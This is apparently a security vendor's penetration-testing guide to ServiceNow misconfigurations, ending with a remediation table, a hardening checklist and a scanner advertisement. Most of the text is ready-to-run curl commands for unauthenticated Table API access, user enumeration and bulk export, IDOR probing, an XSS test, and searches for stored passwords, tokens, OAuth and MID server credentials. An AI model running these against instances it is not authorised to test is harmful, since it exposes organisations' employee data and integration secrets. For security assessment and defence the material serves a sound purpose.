ServiceNow is the enterprise ITSM backbone for thousands of large organizations — containing incident tickets, change requests, employee HR data, IT asset inventories, and integration credentials. A misconfigured ServiceNow instance can expose the entire organization's operational data. In 2022, AppOmni research revealed that misconfigured ACLs had exposed sensitive data across thousands of ServiceNow instances. This guide covers ACL bypass, REST API table enumeration, unauthenticated access, credential exposure in scripts, and guest user exploitation.
ServiceNow instances follow a predictable URL pattern: https://company.service-now.com. The platform exposes version information, user enumeration endpoints, and instance metadata that aid in scoping assessments.
# ServiceNow instance discovery
curl -s "https://company.service-now.com/" -I | grep -i "x-is-logged-in\|x-sn-\|server"
# Get ServiceNow instance version
curl -s "https://company.service-now.com/xmlhttp.do?sysparm_processor=SystemProperty&sysparm_scope=global&sysparm_name=glide.buildname" | grep -i value
# Alternative version detection
curl -s "https://company.service-now.com/stats.do" 2>/dev/null | grep -i "Build Name\|version"
# Enumerate exposed endpoints without authentication
ENDPOINTS=(
"/login.do"
"/navpage.do"
"/xmlhttp.do"
"/api/now/table/"
"/sp" # Service Portal
"/ess" # Employee Self Service
"/consumer" # Consumer portal
"/$catalog.do"
)
for ep in "${ENDPOINTS[@]}"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://company.service-now.com$ep")
echo "$ep: HTTP $STATUS"
done
# Check if instance allows self-registration
curl -s "https://company.service-now.com/self_registration.do" -I | head -5
ServiceNow's Access Control List (ACL) rules define who can read, write, create, and delete records. The 2022 AppOmni research found that many organizations had public-read ACLs on tables containing HR, financial, and IT asset data — allowing unauthenticated users to query sensitive records via the REST API.
# Test unauthenticated table API access
SN_HOST="https://company.service-now.com"
# Test if the table API is accessible without credentials
curl -s "$SN_HOST/api/now/table/sys_user?sysparm_limit=5&sysparm_fields=user_name,email,first_name,last_name" | \
python3 -m json.tool
# Common sensitive tables to test for unauthenticated access
TABLES=(
"sys_user" # User directory
"incident" # Incident tickets
"change_request" # Change management
"sc_request" # Service catalog requests
"cmdb_ci" # Configuration items (IT assets)
"sys_properties" # System properties (may contain credentials)
"oauth_entity" # OAuth credentials
"discovery_credentials" # Discovery credentials
"sys_script" # Server-side scripts
"sys_web_service" # Web service integrations
"ecc_agent" # MID server configuration
)
for table in "${TABLES[@]}"; do
RESULT=$(curl -s -o /dev/null -w "%{http_code}" \
"$SN_HOST/api/now/table/$table?sysparm_limit=1")
echo "$table: HTTP $RESULT"
done
# Test XMLHTTP processor (legacy API, often less restricted)
curl -s "$SN_HOST/xmlhttp.do?sysparm_processor=GlideScriptableFilter&sysparm_table=sys_user&sysparm_query=" | head -100
# Authenticated ACL testing — check what a low-privilege user can access
SN_USER="lowpriv.user"
SN_PASS="password123"
# Basic auth for REST API
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/sys_user?sysparm_limit=10&sysparm_fields=user_name,email,manager" | \
python3 -m json.tool
# Test access to HR-sensitive tables
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/sysapproval_approver?sysparm_limit=10" | jq '.result[].sysapproval.value'
# Test cross-domain data access (user in IT accessing HR data)
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/hr_case?sysparm_limit=10&sysparm_fields=opened_by,subject,description" | \
jq '.result | length'
# Check if sys_properties table is accessible (system credentials often stored here)
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/sys_properties?sysparm_query=nameSTARTSWITHglide&sysparm_limit=20&sysparm_fields=name,value" | \
jq '.result[] | select(.value.display_value | contains("password"))' 2>/dev/null
REST API Table Enumeration
ServiceNow's Table API at /api/now/table/{tableName} provides CRUD access to virtually every database table. When authentication or ACLs are misconfigured, this becomes a direct path to all organizational data.
SN_HOST="https://company.service-now.com"
SN_USER="user@company.com"
SN_PASS="password"
# Enumerate all available tables via Schema API
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/sys_db_object?sysparm_fields=name,label&sysparm_limit=1000" | \
jq '.result[] | .name.display_value'
# Aggregate query to check record counts (data exposure scope)
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/stats/sys_user?sysparm_count=true" | jq '.result.stats.count'
# Query with filters to extract targeted data
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/sys_user?sysparm_query=active=true&sysparm_fields=user_name,email,sys_domain&sysparm_limit=500" | \
jq '.result[] | {user: .user_name.display_value, email: .email.display_value}'
# Export table data in CSV format (often bypasses row-level restrictions)
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/sys_user_list.do?CSV&sysparm_query=active=true&sysparm_fields=user_name,email,first_name,last_name"
# Download attachments without permission checks (common misconfiguration)
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/attachment?sysparm_query=table_name=incident&sysparm_limit=10" | \
jq '.result[] | {file_name: .file_name, download_link: .download_link}'
Guest User and Public Access Testing
ServiceNow Service Portal instances often have a guest user role that grants limited access. Misconfigured guest policies can allow unauthenticated users to query backend tables, submit requests on behalf of others, or access internal knowledge base articles.
# Test Service Portal guest access
curl -s "https://company.service-now.com/sp?sysparm_query=active=true" | \
grep -i "login\|guest\|session"
# Test Guest user API access via Service Portal APIs
curl -s "https://company.service-now.com/api/sn_ui_list/lists/kb_knowledge?fields=short_description,text" | \
jq '.result[].short_description' 2>/dev/null
# Check if knowledge base articles are publicly accessible
curl -s "https://company.service-now.com/kb_view.do?sysparm_article=KB0000001" | \
grep -i "article\|content\|internal" | head -20
# Test catalog item submission without authentication
curl -s -X POST "https://company.service-now.com/api/sn_sc/servicecatalog/items/ITEM_SYS_ID/order_now" \
-H "Content-Type: application/json" \
-d '{"sysparm_quantity": "1", "variables": {}}' | jq .
# Guest user IDOR — access other users service requests
curl -s "https://company.service-now.com/api/now/table/sc_request?sysparm_limit=10" | jq '.result | length'
Credential Exposure in Scripts and Properties
ServiceNow administrators often store credentials in System Properties (sys_properties), script includes, and scheduled jobs. These are readable via the REST API to users with sufficient permissions — and sometimes to users without.
# Check sys_properties for stored credentials
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/sys_properties?sysparm_query=nameSTARTSWITHmid.server&sysparm_fields=name,value&sysparm_limit=100" | \
jq '.result[] | {name: .name.display_value, value: .value.display_value}'
# Look for integration credentials in properties
CRED_PATTERNS=("password" "secret" "token" "key" "credential" "api_key" "auth")
for pattern in "${CRED_PATTERNS[@]}"; do
echo "=== Searching for: $pattern ==="
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/sys_properties?sysparm_query=nameCONTAINS$pattern&sysparm_fields=name,value&sysparm_limit=20" | \
jq '.result[] | {name: .name.display_value, value: .value.display_value}'
done
# Check Discovery credentials table
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/discovery_credentials?sysparm_fields=name,type,order&sysparm_limit=50" | \
jq '.result[] | {name: .name.display_value, type: .type.display_value}'
# Enumerate MID server configurations (often contain domain credentials)
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/ecc_agent?sysparm_fields=name,host,status&sysparm_limit=20" | \
jq '.result[] | {name: .name.display_value, host: .host.display_value}'
# Script Include review — look for hardcoded credentials
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/sys_script_include?sysparm_query=active=true&sysparm_fields=name,script&sysparm_limit=10" | \
jq '.result[].script.display_value' | grep -i "password\|secret\|token"
Scripted REST API Security
ServiceNow allows developers to create custom REST APIs via Scripted REST API resources. These custom APIs often bypass standard ACL checks because developers rely on the script logic for authorization rather than the platform's built-in controls.
# Enumerate Scripted REST APIs
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/sys_ws_definition?sysparm_fields=name,base_uri,active&sysparm_limit=50" | \
jq '.result[] | {name: .name.display_value, uri: .base_uri.display_value}'
# Test each scripted REST API endpoint
# Base URL pattern: /api/{namespace}/{api_name}/{resource}
curl -s "https://company.service-now.com/api/company/employee_portal/users" | jq .
curl -s "https://company.service-now.com/api/company/asset_api/search?q=server" | jq .
# Test for IDOR in scripted REST resources
# Iterate record sys_ids
for id in "abc123" "def456" "ghi789"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"https://company.service-now.com/api/company/my_api/record/$id")
echo "Record $id: HTTP $STATUS"
done
# Check for unauthenticated scripted REST access
curl -s "https://company.service-now.com/api/company/public_endpoint/data" | jq '.result | length'
Service Portal Attack Surface
# Service Portal widget enumeration — widgets may expose data
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/sp_widget?sysparm_fields=id,name,public&sysparm_query=public=true&sysparm_limit=50" | \
jq '.result[] | {id: .id.display_value, name: .name.display_value}'
# Test Service Portal page access
curl -s "https://company.service-now.com/sp?id=sc_home" | grep -i "session\|user\|role"
# Check if internal pages are accessible via URL parameter manipulation
curl -s "https://company.service-now.com/sp?id=ticket&sys_id=INCIDENT_SYS_ID" | \
grep -i "number\|description\|caller"
# Widget server script testing — client-callable functions
# Intercepting widget data calls with Burp Suite and testing parameter injection
# POST /api/now/sp/widget with tampered sys_id or table parameters
# Check for XSS in portal search
curl -s "https://company.service-now.com/sp?id=search&q=test%3Cscript%3Ealert(1)%3C/script%3E" | \
grep -i "script"
Integration Hub Credential Exposure
# Integration Hub stores credentials for external system connections
# MID Server user passwords, REST API keys, OAuth tokens
# Enumerate connection and credential aliases
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/sys_alias?sysparm_fields=name,type,credential&sysparm_limit=50" | \
jq '.result[] | {name: .name.display_value, type: .type.display_value}'
# Check credential store (Connection & Credentials Manager)
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/sys_connection_credential?sysparm_fields=name,type&sysparm_limit=20" | \
jq '.result[] | {name: .name.display_value, type: .type.display_value}'
# OAuth entity providers — may contain client secrets
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/oauth_entity?sysparm_fields=name,client_id,type&sysparm_limit=20" | \
jq '.result[] | {name: .name.display_value, client_id: .client_id.display_value}'
# Check REST message functions for hardcoded credentials
curl -s -u "$SN_USER:$SN_PASS" \
"$SN_HOST/api/now/table/sys_rest_message?sysparm_fields=name,endpoint&sysparm_limit=20" | \
jq '.result[] | {name: .name.display_value, endpoint: .endpoint.display_value}'
Remediation and Hardening
Finding
Risk
Remediation
Public ACLs on sensitive tables
Critical
Audit all table ACLs; require authentication for all non-public tables; use ACL Analyzer
Unauthenticated Table API access
Critical
Enable "Require authentication" on all ACL rules; disable guest access to table API
Credentials in sys_properties
High
Migrate to Connection & Credentials Manager; use encrypted credentials store
Scripted REST APIs without auth
High
Add explicit authentication checks; use ServiceNow's built-in require_roles() in scripts
Guest user over-permissioned
High
Minimize guest role permissions; audit all ACLs for guest role access
IDOR in table API
Medium
Implement row-level ACLs; use data isolation domains; enable strict record ownership
Exposed knowledge base
Medium
Set knowledge base articles to appropriate user criteria; audit public articles
MID server credential exposure
High
Restrict Discovery Credentials table access to admins; rotate all MID server credentials
ServiceNow Security Hardening Checklist
- Run the ServiceNow ACL Analyzer tool and remediate public-read findings
- Enable IP allowlisting for admin access
- Configure SSO with MFA via your identity provider
- Disable "Allow access to foreign domains without login" in Instance Security Center
- Review and restrict all script includes to minimum required scope
- Enable ServiceNow Instance Security Center and address all findings
- Migrate integration credentials to the encrypted Credentials Manager
- Restrict Table API access with strict authentication requirements
- Implement user domain separation for multi-tenant environments
- Configure proper high security plugin settings
- Audit and restrict scripted REST API endpoints
- Enable login audit for all failed authentication attempts
Automated Assessment: Ironimo can automatically discover exposed ServiceNow API endpoints, test ACL configurations, and identify unauthenticated data access paths — giving your security team a complete picture of ServiceNow exposure without manual scripting.
Assess Your ServiceNow Security Posture
Ironimo's Kali Linux-powered scanner automatically identifies ServiceNow ACL misconfigurations, exposed Table API endpoints, and guest user access vulnerabilities. Get your ServiceNow security assessment in minutes.
Start free scan